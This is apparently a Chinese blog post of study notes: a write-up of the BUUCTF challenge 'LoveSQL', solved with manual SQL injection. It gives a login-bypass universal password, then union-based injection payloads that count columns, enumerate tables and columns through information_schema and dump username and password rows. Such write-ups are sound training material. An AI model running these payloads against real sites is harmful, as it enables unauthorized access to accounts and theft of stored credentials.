【学习笔记 25】 buu [极客大挑战 2019]LoveSQL
程序员文章站
2022-06-12 15:37:43
...
0x00 知识点
1.利用常用万能密码登录
2.利用union构造联合注入得到flag
0x01 解题思路
1.打开网站,映入眼帘的就是一个登录界面,并且网页头上有一行小字,说是不让用sqlmap跑,那我偏要试试,但是现在还找不到注入点,继续进行,等下再试。这时在查看源码时发现验证的check.php页面和get的传参方式,直接访问check.php网页什么重要信息都没,那继续回到原网页利用常用的万能密码进行登录测试。
这里用到的是
用户名:admin'/*
密 码:*/'
登录成功。
发现被蓝色圈圈出的md5字符尝试解码md5发现失败了,一开始以为这就是flag,但最后发现我想多了。
但是看到下面的url发现可以注入的地方,测试一下。
2.利用先走流程,利用order by测字段
payload:
check.php?username=admin' order by 3%23&password=1//注意因为是输入在url中所以这里不能用#,要用它对应的url码,也就是%23
通过这里测试发现当order by的值为3时回显正确,当为4时报错,所以判断存在3个字段。
3.接下来利用union来构造联合注入尝试以下,因为也不知道有没有过滤。
payload:
check.php?username=1' union select 1,2,3%23&password=1
这里回显的位点就是注入点了,已经可以试试用sqlmap测试了,但是我们继续手注试试。
4.ok,找到注入点,开始利用注入点查数据库。
payload:
check.php?username=1' union select 1,2,database()%23&password=1
5.知道了数据库名,接下来查表名
payload:
check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
6.继续查列名
先查看geekuser表的
payload:
check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1
接下来查看l0ve1ysq1表的
payload:
check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
7.查看列名里的对应的数据
先查看l0ve1ysq1表里的
payload:
check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag
再查看一下geekuser
payload:
check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
这里只记录了你登录时所用的用户名密码。
0x02 总结
总的来说,这是一道难度一般的考察联合注入的题目,期间没有任何过滤,找到注入点后利用sqlmap可以直接跑出来,这里就不在演示。